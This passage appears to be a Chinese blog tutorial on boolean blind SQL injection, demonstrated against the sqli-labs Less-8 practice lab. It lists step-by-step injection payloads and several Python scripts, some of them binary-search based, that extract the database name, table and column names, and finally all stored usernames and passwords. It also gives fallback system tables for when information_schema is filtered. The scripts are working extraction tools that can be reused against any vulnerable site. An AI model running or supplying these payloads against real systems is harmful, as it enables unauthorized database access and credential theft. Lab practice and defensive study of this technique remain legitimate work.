当前位置: 首页 > news >正文

SQL布尔盲注

目录

1 布尔盲注

2布尔盲注流程

2.1输入id进行测试

 2.2判断注入类型

2.3爆数据库名

2.4爆表名

2.5爆字段名

 2.6查询数据


1 布尔盲注

布尔盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面,如果正确执行了构造的SQL语句,则返回一种页面,如果错误,则执行另一种页面。基于两种页面,来判断SQL语句正确与否,达到获取数据的目的。

2布尔盲注流程

2.1输入id进行测试

输入?id=1,发现页面回显You are in..........

输入?id=1',发现页面无显示

此时,联想到正确错误两个页面,采用布尔盲注

 2.2判断注入类型

1.?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。

2.?id=1' and 1=1--+和?id=1' and 1=2--+进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

 根据结果可判断为字符型注入

2.3爆数据库名

如何获取数据库呢?可以通过截取字符串的方式进行获取。substr(string, start, length) 截取字符串,这个函数的意思简单来说,截取一个字符串从'start'位,可以是第1位,第2位。。。。每次截取'length'个字符。然后使用ascii()函数。其作用是将字符转换成对应的ascii值。

?id=1' and ascii(substr(database(),1,1))=97--+

如果数据库名的第一个字符的ascii码值等于97,则页面显示正确的页面,如果数据库名的第一个字符的ascii码值不等于97,则页面显示错误的页面

页面无显示说明数据库名的第一个字符的ascii码值不等于97

我们可以编写一个简单的python脚本就可以爆破出数据库名

import timeimport requestsurl = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'def inject_database(url):name = ''for i in range(1, 20):for j in range(32, 129):payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)res = {"id": payload}r = requests.get(url, params=res)if "You are in..........." in r.text:name = name + chr(j)print(name)breakelse:continueinject_database(url)

根据运行结果得出数据库名为'security' 

2.4爆表名

使用count() 函数进行获取表的数量

1' and (select count(table_name) from information_schema.tables where table_schema='security')=2--+

1' and (select count(table_name) from information_schema.tables where table_schema='security')=4--+

可以看出security下有四张表,然后进行爆表名

1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=101--+

 mysql 中的 information_schema 这个库 就像时MYSQL的信息数据库,他保存着mysql 服务器所维护的所有其他的数据库信息, 包括了 库名,表名,列名。

在注入时,information_schema库的作用就是获取 table_schema table_name, column_name .

这些数据库内的信息。如果information_schema库被过滤掉,还可以尝试使用下述库来代替

 sys.schema_auto_increment_columns 

sys.schema_table_statistics_with_buffer

mysql.innodb_table_stats

mysql.innodb_table_index

然后编写一个简单的python脚本就可以爆破出所有的表名

import requestsurl = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'def boolean_blind_inject(url):name = ''for i in range(1, 50):low = 32high = 128while low < high:mid = (low + high) // 2# 构造布尔盲注的payloadpayload ="1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))> %d-- " %(i, mid)params = {'id': payload}  # 使用 params 而不是 data# 发送 GET 请求r = requests.get(url, params=params)# 根据页面内容或状态码判断是否注入成功if 'You are in...........' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:  # 如果 mid 为 32,则表示已经到达字符串的末尾breakname += chr(mid)print(name)# 调用函数
boolean_blind_inject(url)

上述代码采用二分法提高效率 

根据运行结果得出表名为emails,referers,uagents,users

2.5爆字段名

根据表名知道可能用户的账户和密码是在users表中,接下来我们就是得到该表下的字段名以及内容。

同样使用python脚本来爆破出字段名,只需将刚才的python脚本中的payload变换一下

import requestsurl = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'def boolean_blind_inject(url):name = ''for i in range(1, 50):low = 32high = 128while low < high:mid = (low + high) // 2# 构造布尔盲注的payloadpayload ="1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1))> %d-- " %(i, mid)params = {'id': payload}  # 使用 params 而不是 data# 发送 GET 请求r = requests.get(url, params=params)# 根据页面内容或状态码判断是否注入成功if 'You are in...........' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:  # 如果 mid 为 32,则表示已经到达字符串的末尾breakname += chr(mid)print(name)# 调用函数
boolean_blind_inject(url)

根据运行结果得出字段名为id,username,password

 2.6查询数据

import requestsurl = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'def boolean_blind_inject(url):name = ''for i in range(1, 200):low = 32high = 128while low < high:mid = (low + high) // 2# 构造布尔盲注的payloadpayload ="1' and ascii(substr((select group_concat(username,id,password) from users),%d,1))> %d-- " %(i, mid)params = {'id': payload}  # 使用 params 而不是 data# 发送 GET 请求r = requests.get(url, params=params)# 根据页面内容或状态码判断是否注入成功if 'You are in...........' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:  # 如果 mid 为 32,则表示已经到达字符串的末尾breakname += chr(mid)print(name)# 调用函数
boolean_blind_inject(url)

这样我们就爆出各个用户的账号密码了,本次手布尔盲注到此结束,如果不会写python脚本也可以使用BurpSuite工具来破解数据,感兴趣的同学可以自行搜索相关资料学习。

相关文章:

SQL布尔盲注

目录 1 布尔盲注 2布尔盲注流程 2.1输入id进行测试 2.2判断注入类型 2.3爆数据库名 2.4爆表名 2.5爆字段名 2.6查询数据 1 布尔盲注 布尔盲注就是在SQL注入过程中&#xff0c;SQL语句执行后&#xff0c;查询到的数据不能回显到前端页面&#xff0c;如果正确执行了构造的…...

OpenGL实现3D游戏编程【连载3】——3D空间模型光照初步

1、本节实现的内容 上一节课&#xff0c;我们建立了简单的坐标系&#xff0c;同时也显示了一个正方体&#xff0c;但正方体的颜色为纯红色&#xff0c;好像一个平面物体一样&#xff0c;我们这节课就可以加一些光照&#xff0c;并创建更多的模型&#xff0c;使这些物体变得更加…...

Python 进行反射和元编程

反射和元编程是Python中两种强大且高级的编程技术。反射允许程序在运行时检查和修改自身结构和行为&#xff0c;而元编程则是编写可以操作其他代码的代码&#xff0c;通常通过使用元类、装饰器等技术来实现。 1. 反射 反射是指程序在运行时检查和操作自身结构的能力。Python通…...

Please refer to dump files (if any exist) [date].dump, [date]-jvmRun[N]……解决

一、问题 Please refer to dump files (if any exist) [date].dump, [date]-jvmRun[N].dump and [date].dumpstream.二、解决方案 1、当打包构建的时候出现这个问题&#xff0c;如果你只是打包部署&#xff0c;那么就是将maven的test禁止可以成功打包 2、当你是本地服务器启动…...

如何看待“低代码”开发平台的兴起

目录 如何看待“低代码”开发平台的兴起&#xff1f;新机遇&#xff1a;效率与质量并进的新篇章1. 提升开发效率&#xff1a;2. 降低技术门槛&#xff1a;3. 创新加速&#xff1a; 挑战&#xff1a;质量和定制化需求的考量1. 定制能力受限&#xff1a;2. 依赖性和迁移成本 &…...

React类组件与函数组件有什么异同

相同点&#xff1a; 组件是react的最小代码片段&#xff0c;无论函数组件还是类组件 在使用方式 和 最终呈现效果是一致的类组件可以用函数组件重构&#xff0c;同样函数组件也可以用类组件重构&#xff08;并不推荐&#xff09;&#xff0c;在现代浏览器中闭包 和 类的性能只…...

函数调用的过程理解_汇编角度

目录 1、调用函数流程&#xff08;main函数调用print函数&#xff09;&#xff1a;Step1 保存main函数现场地址等信息Step2 跳转到print函数的位置Step3 执行print函数的指令Step4 返回main函数&#xff0c;执行下一条指令流程连续性总结 2、其他知识总结 1、调用函数流程&…...

【Java-一些常见单列集合面试问题】

目录 1.List,Set的区别&#xff1f; 2.ArrayList与Vector区别&#xff1f; 3.Arraylist与LinkedList区别&#xff1f; 4.ArrayList的扩容机制&#xff1f; 5.HashSet、LinkedHashSet和TreeSet 区别&#xff1f; 6.HashSet如何过滤重复元素&#xff1f; 1.List,Set的区别…...

搭建个人博客需要做哪些事

文章目录 前言搭建步骤站点服务器站点域名注册域名ICP 备案公安备案域名解析 博客图床图床是什么图床搭建 博客站点搭建建站工具本地搭建博客部署 站点运营百度收录百度统计 总结 前言 花了几天时间&#xff0c;搭建了一个个人博客&#xff0c;也算是完成了年初立的一个flag&a…...

《向量数据库指南》——非结构化数据的行业需求及向量数据库的关键角色

非结构化数据的行业需求及向量数据库的关键角色 引言 在当今数字化时代,数据已成为驱动社会进步与产业升级的核心要素。随着技术的飞速发展,特别是人工智能(AI)技术的广泛应用,数据的类型与规模正以前所未有的速度增长。其中,非结构化数据作为数据海洋中的主体部分,其…...

C++:map容器的使用

一、map的使用介绍 map文档介绍 1.1 map的模版参数 Key&#xff1a;键值对中Key的类型 T&#xff1a;键值对中value的类型 Compare&#xff1a;比较器的类型&#xff0c;map中的元素是按照Key来进行比较的&#xff0c;缺省情况&#xff08;不传参数时&#xff09;按照小于来…...

C++初学(10)

10.1、共用体 共用体是一种数据格式&#xff0c;它能够存储不同的数据类型&#xff0c;但只能同时存储其中的一种类型。比如说&#xff1a;结构可以同时存储int、long、和double&#xff0c;而共用体只能存储int、long、或double。共用体的句式与结构相似&#xff0c;但含义不…...

在MAC安装Lazarus 起点 - 我们的第一个Lazarus程序!

安装Lazarus 首先到Lazarus官网&#xff0c;找到合适的版本下载页面&#xff0c;比如Mac的版本&#xff1a; https://sourceforge.net/projects/lazarus/files/Lazarus%20macOS%20x86-64/Lazarus%203.4/ 将三个文件都下载到本地&#xff0c;需要安装这三个文件&#xff1a; …...

【每日刷题】Day96

【每日刷题】Day96 &#x1f955;个人主页&#xff1a;开敲&#x1f349; &#x1f525;所属专栏&#xff1a;每日刷题&#x1f34d; &#x1f33c;文章目录&#x1f33c; 1. LCP 44. 开幕式焰火 - 力扣&#xff08;LeetCode&#xff09; 2. 1022. 从根到叶的二进制数之和 - …...

EGO-Swarm 仿真环境搭建

EGO-Swarm仿真环境搭建 参考教程&#xff1a; https://github.com/ZJU-FAST-Lab/ego-planner-swarm EGO-Swarm是一种分散的异步系统解决方案&#xff0c;用于仅使用机载资源在未知的障碍物丰富的场景中进行多机器人自主导航。 1. 查看系统环境 要运行本仿真程序&#xff0c…...

【EI会议征稿通知】第九届计算机技术与机械电气工程国际学术论坛(ISCME 2024)

会议官网&#xff1a;www.is-cme.com 一轮截稿时间&#xff1a;2024年8月16日&#xff08;早投稿&#xff0c;早录用&#xff09; 大会时间&#xff1a;2024年11月8-10日 大会地点&#xff1a;中国 南京 接受/拒稿通知&#xff1a;投稿后1-2周 收录检索&#xff1a;EI Compend…...

【starRocks-docker 部署问题汇总】

Starrocks系列文章目录 例如&#xff1a;starrocks 常见问题汇总 文章目录 Starrocks系列文章目录前言一、Starrocks-be运行一段时间后,容器无法restart&#xff1f;二、等待后续跟新 前言 starrocks基于docker-compose部署的3节点分布式(3FE,3BE)&#xff0c;遇到的问题也都…...

threejs中,如何检测一个模型周边一定范围内的其它模型

在Three.js中&#xff0c;要检测一个模型&#xff08;我们可以称之为“主体模型”&#xff09;周边一定范围内的其他物体&#xff0c;你可以通过以下步骤来实现&#xff1a; 1、定义检测范围&#xff1a; 首先&#xff0c;确定你需要检测的范围&#xff0c;这通常是一个以主体…...

UDP端口可达性检测(端口扫描)工具开发

UDP端口可达性检测(端口扫描)工具开发 1、应用场景分析 主机X与主机Y部署在AB双网环境下&#xff0c;两个主机间通过UDP协议进行数据交互。应用程序发送数据时&#xff0c;优先使用A网发送数据&#xff0c;如果A网异常则通过B网发送数据。两个主机应用间没有设置心跳帧 &…...

第三届计算、通信、感知与量子技术国际会议(CCPQT 2024)会议通知

会议信息 大会官网&#xff1a;http://www.ccpqt.org/ 官方邮箱&#xff1a;ccpqt_paper126.com 会议地点&#xff1a;中国珠海 会议时间&#xff1a;2024年10月25日-10月27日 主讲嘉宾 Prof. Trung Q. Duong IEEE Fellow and AAIA Fellow Memorial University of Newfoundl…...

QMC5883L的驱动

简介 本篇文章的代码已经上传到了github上面&#xff0c;开源代码 作为一个电子罗盘模块&#xff0c;我们可以通过I2C从中获取偏航角yaw&#xff0c;相对于六轴陀螺仪的yaw&#xff0c;qmc5883l几乎不会零飘并且成本较低。 参考资料 QMC5883L磁场传感器驱动 QMC5883L磁力计…...

Opencv中的addweighted函数

一.addweighted函数作用 addweighted&#xff08;&#xff09;是OpenCV库中用于图像处理的函数&#xff0c;主要功能是将两个输入图像&#xff08;尺寸和类型相同&#xff09;按照指定的权重进行加权叠加&#xff08;图像融合&#xff09;&#xff0c;并添加一个标量值&#x…...

JVM垃圾回收机制全解析

Java虚拟机&#xff08;JVM&#xff09;中的垃圾收集器&#xff08;Garbage Collector&#xff0c;简称GC&#xff09;是用于自动管理内存的机制。它负责识别和清除不再被程序使用的对象&#xff0c;从而释放内存空间&#xff0c;避免内存泄漏和内存溢出等问题。垃圾收集器在Ja…...

华为OD机试-食堂供餐-二分法

import java.util.Arrays; import java.util.Scanner;public class DemoTest3 {public static void main(String[] args) {Scanner in new Scanner(System.in);// 注意 hasNext 和 hasNextLine 的区别while (in.hasNextLine()) { // 注意 while 处理多个 caseint a in.nextIn…...

Springcloud:Eureka 高可用集群搭建实战(服务注册与发现的底层原理与避坑指南)

引言&#xff1a;为什么 Eureka 依然是存量系统的核心&#xff1f; 尽管 Nacos 等新注册中心崛起&#xff0c;但金融、电力等保守行业仍有大量系统运行在 Eureka 上。理解其高可用设计与自我保护机制&#xff0c;是保障分布式系统稳定的必修课。本文将手把手带你搭建生产级 Eur…...

Robots.txt 文件

什么是robots.txt&#xff1f; robots.txt 是一个位于网站根目录下的文本文件&#xff08;如&#xff1a;https://example.com/robots.txt&#xff09;&#xff0c;它用于指导网络爬虫&#xff08;如搜索引擎的蜘蛛程序&#xff09;如何抓取该网站的内容。这个文件遵循 Robots…...

css3笔记 (1) 自用

outline: none 用于移除元素获得焦点时默认的轮廓线 broder:0 用于移除边框 font-size&#xff1a;0 用于设置字体不显示 list-style: none 消除<li> 标签默认样式 margin: xx auto 版心居中 width:100% 通栏 vertical-align 作用于行内元素 / 表格单元格&#xff…...

如何在网页里填写 PDF 表格?

有时候&#xff0c;你可能希望用户能在你的网站上填写 PDF 表单。然而&#xff0c;这件事并不简单&#xff0c;因为 PDF 并不是一种原生的网页格式。虽然浏览器可以显示 PDF 文件&#xff0c;但原生并不支持编辑或填写它们。更糟的是&#xff0c;如果你想收集表单数据&#xff…...

安宝特案例丨Vuzix AR智能眼镜集成专业软件,助力卢森堡医院药房转型,赢得辉瑞创新奖

在Vuzix M400 AR智能眼镜的助力下&#xff0c;卢森堡罗伯特舒曼医院&#xff08;the Robert Schuman Hospitals, HRS&#xff09;凭借在无菌制剂生产流程中引入增强现实技术&#xff08;AR&#xff09;创新项目&#xff0c;荣获了2024年6月7日由卢森堡医院药剂师协会&#xff0…...

IP如何挑?2025年海外专线IP如何购买?

你花了时间和预算买了IP&#xff0c;结果IP质量不佳&#xff0c;项目效率低下不说&#xff0c;还可能带来莫名的网络问题&#xff0c;是不是太闹心了&#xff1f;尤其是在面对海外专线IP时&#xff0c;到底怎么才能买到适合自己的呢&#xff1f;所以&#xff0c;挑IP绝对是个技…...